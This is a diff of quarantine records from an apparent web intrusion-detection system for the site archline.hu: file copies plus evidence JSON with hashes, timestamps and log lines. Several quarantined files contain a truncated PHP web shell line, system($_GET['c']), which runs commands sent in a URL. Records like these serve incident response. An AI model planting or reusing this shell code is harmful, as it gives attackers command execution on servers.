+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783930711,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "tmp/i9wliit0.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json.evidence.json
new file mode 100644
index 0000000..b89becd
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3559",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/r0ps_3tdj3r.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111931,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "tmp/r0ps_3tdj3r.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json.evidence.json
new file mode 100644
index 0000000..0053c96
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3562",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/r0ps_3tdj3r.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/r0ps_3tdj3r.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111915,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "tmp/r0ps_3tdj3r.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json.evidence.json
new file mode 100644
index 0000000..483663a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3531",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/r0ps_bijdps.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111767,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "tmp/r0ps_bijdps.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json.evidence.json
new file mode 100644
index 0000000..a13dc04
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3556",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/r0ps_bijdps.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/r0ps_bijdps.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111751,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "tmp/r0ps_bijdps.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json.evidence.json
new file mode 100644
index 0000000..d7d30a3
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3567",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/r0ps_qbi8yu.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111785,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "tmp/r0ps_qbi8yu.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json.evidence.json
new file mode 100644
index 0000000..db4ee0e
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3550",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/r0ps_qbi8yu.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/r0ps_qbi8yu.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111770,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "tmp/r0ps_qbi8yu.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json b/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json
new file mode 100644
index 0000000..24c02b8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json.evidence.json
new file mode 100644
index 0000000..f75a744
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3536",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/rce_57pqc0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/rce_57pqc0.php.json)",
+ "original_sha256": "9ba4b855f3bf60b7e6bf5678beca5959f76b278e4fbd911434d08c5ba0f17926",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783813009,
+ "size": 117,
+ "uid": 20043
+ },
+ "rel_path": "tmp/rce_57pqc0.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json b/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json
new file mode 100644
index 0000000..c1854f3
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json.evidence.json
new file mode 100644
index 0000000..b2e58e7
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3565",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/rce_wvln23.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/rce_wvln23.php.json)",
+ "original_sha256": "eff6ad6424feaa82e756ab3264e8689f6293d56dd50f97e585c9572e2ae4cfaf",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783812921,
+ "size": 117,
+ "uid": 20043
+ },
+ "rel_path": "tmp/rce_wvln23.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/ukls9z5s.php.json b/var/www/hosting/archline.hu/www/ukls9z5s.php.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/ukls9z5s.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/ukls9z5s.php.json.evidence.json b/var/www/hosting/archline.hu/www/ukls9z5s.php.json.evidence.json
new file mode 100644
index 0000000..06c11ed
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/ukls9z5s.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2927",
+ "log_excerpt": "[quarantine] www.archline.hu:ukls9z5s.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/ukls9z5s.php.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783770041,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "ukls9z5s.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/up.php.json b/var/www/hosting/archline.hu/www/up.php.json
new file mode 100644
index 0000000..d90257a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/up.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/up.php.json.evidence.json b/var/www/hosting/archline.hu/www/up.php.json.evidence.json
new file mode 100644
index 0000000..705b023
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2895",
+ "log_excerpt": "[quarantine] www.archline.hu:up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/up.php.json)",
+ "original_sha256": "72c1cbd426978b60ec75a15472d96080aa8edf3667d91139557276f7449b2483",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784033938,
+ "size": 15,
+ "uid": 20043
+ },
+ "rel_path": "up.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/uswin7hh.php.json b/var/www/hosting/archline.hu/www/uswin7hh.php.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/uswin7hh.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/uswin7hh.php.json.evidence.json b/var/www/hosting/archline.hu/www/uswin7hh.php.json.evidence.json
new file mode 100644
index 0000000..a232f73
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/uswin7hh.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2836",
+ "log_excerpt": "[quarantine] www.archline.hu:uswin7hh.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/uswin7hh.php.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783770033,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "uswin7hh.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/w271ajkz.php.json b/var/www/hosting/archline.hu/www/w271ajkz.php.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/w271ajkz.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/w271ajkz.php.json.evidence.json b/var/www/hosting/archline.hu/www/w271ajkz.php.json.evidence.json
new file mode 100644
index 0000000..f7c0536
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/w271ajkz.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2903",
+ "log_excerpt": "[quarantine] www.archline.hu:w271ajkz.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/w271ajkz.php.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783782444,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "w271ajkz.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}